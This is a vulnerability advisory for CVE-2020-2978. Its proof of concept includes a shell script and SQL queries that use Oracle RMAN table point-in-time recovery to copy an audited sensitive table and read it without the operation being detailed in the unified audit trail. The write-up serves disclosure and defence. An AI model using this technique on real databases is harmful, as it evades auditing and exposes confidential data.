Oracle RMAN Missing Auditing

`Title: CVE-2020-2978 - Oracle RMAN Audit table point in time recovery not recorded  
Product: Database  
Manufacturer: Oracle  
Affected Version(s): 12.1.0.2, 12.2.0.1, 18c, 19c  
Tested Version(s): 19c  
Risk Level: Medium  
Score: 4.1  
Solution Status: Fixed  
CVE Reference: CVE-2020-2978  
Author of Advisory: Emad Al-Mousa  
  
Overview:  
  
Audit failure is a security weakness in software product especially if a security audit is in-place to detect a certain operation. Oracle RMAN is  
a database Recovery Manager utility for backup and restore operations, so any security weakness/vulnerability can be exploited by insider threat or  
external attacker to view confidential data in unauthorized manner.  
  
*****************************************  
Vulnerability Details:  
  
The scope of this security research is to detect if a database administrator tried to restore a "sensitive table" (already in-place auditing is configured against SELECT statements against this sensitive table).   
The following research illustrates that despite RMAN operations are audited by “default” in pure “Unified Auditing” mode, the table point of time recovery activity/action was not logged in the audit logs.   
As a result, any trails for future forensic investigation or real time security operations monitoring for activities against highly confidential sensitive table will not be met.  
  
  
*****************************************  
Proof of Concept (PoC):  
  
// I will check first if Unified Auditing feature is enabled in an Oracle database system:  
  
SQL> select value from v$option where parameter ='Unified Auditing';  
  
VALUE  
----------------------------------------------------------------  
TRUE  
  
  
SQL> select * from DBA_AUDIT_MGMT_CONFIG_PARAMS where PARAMETER_NAME = 'AUDIT WRITE MODE';  
  
PARAMETER_NAME  
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
PARAMETER_VALUE  
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
AUDIT_TRAIL  
----------------------------  
AUDIT WRITE MODE  
IMMEDIATE WRITE MODE  
UNIFIED AUDIT TRAIL  
  
  
// I will create linux shell script to restore a sensitive database table with different name , you will need to access the Linux OS as DBA linux account  
for the exploit to work ....the sensitive table is called "dummy" under schema called "DBA" and the attacker will restore it with different name --->  
dummy_55:  
  
touch /tmp/dbtest/resotre.sh  
  
chmod 700 /tmp/dbtest/resotre.sh  
  
vi /tmp/dbtest/resotre.sh  
  
#!/bin/sh  
export ORACLE_SID=dbtest  
export ORACLE_HOME=/orcl/dbtest/product/18.3  
export RMAN_LOG_FILE=/tmp/dbtest/aux_db/db_restore.log  
RMAN=$ORACLE_HOME/bin/rman  
CMD_STR="  
ORACLE_HOME=$ORACLE_HOME  
export ORACLE_HOME  
ORACLE_SID=$ORACLE_SID  
export ORACLE_SID  
$RMAN target \/ msglog $RMAN_LOG_FILE append << EOF  
connect CATALOG $RCVCAT_CONNECT_STR  
run {  
recover table dba.dummy  
#until scn 56330407409  
until time \"to_date('23-JAN-2020 08:00:00','DD-MON-YYYY HH24:MI:SS')\"  
auxiliary destination '/tmp/dbtest/aux_db'  
remap table dba.dummy:dummy_55;  
}  
EOF  
"  
/usr/bin/sh -c "$CMD_STR" >> $RMAN_LOG_FILE  
  
// then run the shell script:  
  
/tmp/dbtest/resotre.sh  
  
  
// Log File /tmp/dbtest/aux_db/db_restore.log shows the restore is successful:  
  
auxiliary instance file /tmp/dbtest/aux_db/JTVB_PITR_dbtest/onlinelog/o1_mf_1_h2lopldq_.log deleted  
auxiliary instance file /tmp/dbtest/aux_db/JTVB_PITR_dbtest/datafile/o1_mf_ts_user__h2locvjr_.dbf deleted  
auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_sysaux_h2lncb1c_.dbf deleted  
auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_ts_undo__h2lnlrw7_.dbf deleted  
auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_system_h2lncb14_.dbf deleted  
auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_system_h2lncbvp_.dbf deleted  
auxiliary instance file /tmp/dbtest/aux_db/dbtest/controlfile/o1_mf_h2ln7ftc_.ctl deleted  
auxiliary instance file tspitr_jtvb_19868.dmp deleted  
Finished recover at 01/23/2020-11:19:30  
  
RMAN> RMAN>  
  
Recovery Manager complete.   
  
  
// you can now access the sensitive table and query data:  
  
sqlplus / as sysdba  
  
SQL> select * from dba.dummy_55;  
  
// Checking the unified audit trail:  
  
SQL> select EVENT_TIMESTAMP, ACTION_NAME, RMAN_SESSION_STAMP, RMAN_OPERATION,RMAN_OPERATION,RMAN_OBJECT_TYPE  
from unified_audit_trail where ACTION_NAME like '%RMAN%' order by 1;  
  
The RMAN session is logged in the audit table, but there is NO details of what kind of RMAN operation took place ?!  
  
Conclusion:  
  
SystemAdmin/Attacker can view sensitive data without being audited which will impact forensic investigation, and threat detection.  
  
  
  
*****************************************  
References:  
https://www.oracle.com/security-alerts/cpujul2020.html  
https://nvd.nist.gov/vuln/detail/CVE-2020-2978  
https://databasesecurityninja.wordpress.com/2020/12/01/cve-2020-2978-rman-audit-table-point-in-time-recovery-not-logged/  
  
  
`